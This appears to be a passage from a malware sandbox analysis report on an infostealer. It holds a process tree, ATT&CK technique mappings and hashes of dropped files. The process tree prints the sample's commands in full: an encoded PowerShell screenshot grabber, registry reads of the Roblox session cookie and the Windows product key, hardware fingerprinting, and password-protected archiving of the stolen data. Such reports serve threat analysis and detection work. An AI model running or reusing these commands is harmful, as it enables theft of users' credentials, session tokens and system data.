    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:496
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nape31qc\nape31qc.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1896
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA0BF.tmp" "c:\Users\Admin\AppData\Local\Temp\nape31qc\CSC9126DEB66CE34E9D983A18CFCB9663CC.TMP"
        6⤵
        
        PID:3672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6940
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:7048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37682\rar.exe a -r -hp"gmtgmt" "C:\Users\Admin\AppData\Local\Temp\STIK4.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Users\Admin\AppData\Local\Temp\_MEI37682\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI37682\rar.exe a -r -hp"gmtgmt" "C:\Users\Admin\AppData\Local\Temp\STIK4.zip" *
      4⤵
      Executes dropped EXE
      PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:7160
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5888
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5580
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\VCRUNTIME140.dll
Size 106KB
SHA256 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644
MD5 870fea4e961e2fbd00110d3783e529be
SHA1 a948e65c6f73d7da4ffde4e8533c098a00cc7311
SHA512 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88
SSDEEP 1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
TLSH
T141B36B46B2A442F7C4AAD1B4C2A38A47FB70B5418770A3CF03B58A690F63BE15E3D355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_bz2.pyd
Size 46KB
SHA256 d3fb8bad482505eb4069fa2f2bb79e73f369a4181b7acc7abe9035ecbd39cec9
MD5 db5ec505d7c19345ca85d896c4bd7ef4
SHA1 c459bb6750937fbdc8ca078a74fd3d1e8461b11c
SHA512 0d9fdb9054e397bc9035301e08532dc20717ec73ad27cf7134792a859ca234ab0cd4afa77d6cb2db8c35b7b0bccf49935630b3fe1bd0a83a9be228b9c3d8c629
SSDEEP 768:VwAGUM8u8APFi++4RAS8ALMNO4YsEtGUzVsXHEcs0WYxp8/IgtVuRsYiSyvSrPxT:6AG/5o+++oiwO4zsZV2HE1mY/IgtVuaI
TLSH
T14B23D1974268BC69E9361EB235C4852CF771B516C94543DF23C9826B8F913C26FE2371
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_ctypes.pyd
Size 56KB
SHA256 b76b63e8163b2c2b16e377114d41777041fcc948806d61cb3708db85cca57786
MD5 26e65481188fe885404f327152b67c5e
SHA1 6cd74c25cc96fb61fc92a70bdfbbd4a36fda0e3d
SHA512 5b58fc45efebc30f26760d22f5fe74084515f1f3052b34b0f2d1b825f0d6a2614e4edaf0ce430118e6aaaf4bb8fcc540699548037f99a75dd6e53f9816068857
SSDEEP 1536:108zlVsy6ynAPtBnMsX0drrl74SIgQPOc7SyDPxhT:tzlr6hPtBnMTPcSIgQPOcZxhT
TLSH
T15F43E097C1A8AC98D91B0DB1B1C94E78EF7138835A5083AF33ADE07613B134197D62F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_decimal.pyd
Size 104KB
SHA256 480b8366a177833d85b13415e5bb9b1c5fda0a093ea753940f71fa8e7fc8ed9b
MD5 072e08b39c18b779446032bf2104247b
SHA1 a7ddad40ef3f0472e3c9d8a9741bd97d4132086c
SHA512 c3cdfe14fd6051b92eeff45105c093dce28a4dcfd9f3f43515a742b9a8ee8e4a2dce637e9548d21f99c147bac8b9eb79bcbcd5fc611197b52413b8a62a68da02
SSDEEP 3072:hiyUzaqAI1TYJnKDkRoN6i4Ig5q4CVYiHxG:o/AI9YJKDkRoN6iECiiQ
TLSH
T16AA30297C6201C64D87CEE7270D9C439E92174A3867447DE228ED126BE193817FF73AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_hashlib.pyd
Size 33KB
SHA256 9ec1d9abac782c9635cdbbb745f6eab8d4c32d6292eebb9efd24a559260cb98e
MD5 82d28639895b87f234a80017a285822a
SHA1 9190d0699fa2eff73435adf980586c866639205f
SHA512 4b184dcc8ccf8af8777a6192af9919bcebcdcddd2a3771ed277d353f3c4b8cb24ffa30e83ff8fbeca1505bf550ea6f46419a9d13fef7d2be7a8ac99320350cfe
SSDEEP 768:aH1cXZ83zNDKJ/KDQ79/HfphrLIg5IzVYiSyvCPxWEpp2:aVnzKUQ79fHrLIg5IzV7SyKPxk
TLSH
T19CF2BFB785B49C64C9329F7131C09929EB31F692859287DB314DA17F8F92342AF9233D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_lzma.pyd
Size 84KB
SHA256 d5001fbee0f9c6e3c566ac4d79705ba37a6cba81781eee9823682de8005c6c2a
MD5 8bdd52b7bcab5c0779782391686f05c5
SHA1 281aad75da003948c82a6986ae0f4d9e0ba988eb
SHA512 086c5e628b25bc7531c2e2f73f45aa8f2182ac12f11f735b3adc33b65a078a62f7032daa58cc505310b26b4085cae91cb4fa0a3225fbe6f2b2f93287fee34d4c
SSDEEP 1536:MSZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6VgR0ZIge1Vq7SysPxGJ:/vA5utzWfXE0V0ZK+K+aqIge1VqaxC
TLSH
T1B083017B01B880D8E4A79E7125E86566E231FE73825242FB329481770F773D18A536E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\_queue.pyd
Size 24KB
SHA256 52a43a55458c7f617eb88b1b23874f0b5d741e6e2846730e47f09f5499dda7f2
MD5 3f13115b323fb7516054ba432a53e413
SHA1 340b87252c92c33fe21f8805acb9dc7fc3ff8999
SHA512 6b0383ee31d9bb5c1227981eb0ae5bb40e2d0a540bd605d24e5af455fd08935d726e5f327787d9340950311d8f7a655a7ea70635e1f95d33e089505f16ae64b9
SSDEEP 384:Y0Psz9rLZgNhzHjl1KyroRaiRhZa7gJXrLIg7UzNGIYiSy1pCQWvXdPxh8E9VF04:uihFq/Dp7LIg7UzFYiSyvqdPxWEpnl
TLSH
T144B2AEA341B89C69D9379AB134D94930FF30B9D385A183DB711D417B4F323816B953BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

api-ms-win-core-console-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\api-ms-win-core-console-l1-1-0.dll
Size 3KB
SHA256 a3db4aca7b1ba6f802df24916f086e4a803093ffb29f8902c18b8a09aa18ddcb
MD5 3127e73e09b2f660dbb1b6a3e23159ca
SHA1 d121de4d3cc1788317015f61b3abcea651830c2c
SHA512 8daf52fddb4066fd4106fab0c1c34e7bab4522230090242783ed1838a49da3de9453c4cb8379c03112b9c1d353cc3c32e0eef20890429f62209082ade9464cb5
TLSH
T1D871BC831FF44E25F8FA4F744CB3061AB92DBC15AA62E60D7B40141F2837260EE21B62
MD5 SHA1 SHA512 TLSH

Submit Download

api-ms-win-core-datetime-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\api-ms-win-core-datetime-l1-1-0.dll
Size 2KB
SHA256 93ebce911997392650aee0f22b72687787c55c7a4a731724a58c45dc3e1f6cc6
MD5 727e82d02106289000923bef8916771b
SHA1 5e5edad1487e1553d8017f49b54289162ed3a516
SHA512 ec8a3faa00463db6bf24e7cb764fd6a17f4a3df4cd21810eeef5f2684c0cab0c1cb2bafb5074fe3641cfee2814e0defa938fc9a881ed7dbd5c1b34ede9858946
TLSH
T155519B0657FD4A19F8F70F3458B70706BA3ABC25AA71C71D1F90115E2C369219D30B72
MD5 SHA1 SHA512 TLSH

Submit Download

api-ms-win-core-debug-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\api-ms-win-core-debug-l1-1-0.dll
Size 2KB
SHA256 dcafa02c5e11d38c590754ee6a23dc65c3342308bb28435efb75de914f2b3652
MD5 2882b2bcd74b4d79e21f5349da2931bc
SHA1 ebeaff6f40ea6148193a9cc3368e8d9894fd53d4
SHA512 3d8e97f67217ed52c60b0fb871e2d0fa163fe1a1fb42c2888813d496fae9ef621f8daeed7984f8368d3b6de45857013df5d77e1694cfd5f4d95bc219bef82fd1
TLSH
T1BD51A70597F94A69F4F68B7098B7071AB53EBC21AA76CB2D0B80105D7836661DE30B32
MD5 SHA1 SHA512 TLSH

Submit Download

api-ms-win-core-errorhandling-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\api-ms-win-core-errorhandling-l1-1-0.dll
Size 2KB
SHA256 5eb1c0679756b46c57acaf600246ceff260b88f602215e4a94231ef0c30b0af7
MD5 94671f5b4c8cbaaa25b6948b9af8eacd
SHA1 71ad4f949f80efca1bb493f6678c8afeeb923646
SHA512 10247a1f40f429ef22b68c51c9df4cff7c64f79fe09485a1a7f4fd6fd3f9b13801f6336ed6a7c1804918dc1e78660f6f4126c8052bfc0cff15906c941bbee12c
TLSH
T15751ED0193F8895AF4F30B3049B30B12B53ABC14AEB2D76E0F80211E3836260DD71B32
MD5 SHA1 SHA512 TLSH

Submit Download

api-ms-win-core-file-l1-1-0.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37682\api-ms-win-core-file-l1-1-0.dll
Size 4KB
SHA256 34790e8f47a8f478a4ba4f89695cea1be64d16ff416542ec3036acb5633009ed
MD5 aa766b098462eff6f0f129b5c6ef1c5e
SHA1 3be25b0d330586a08c317d97ea139d096b35b0b6
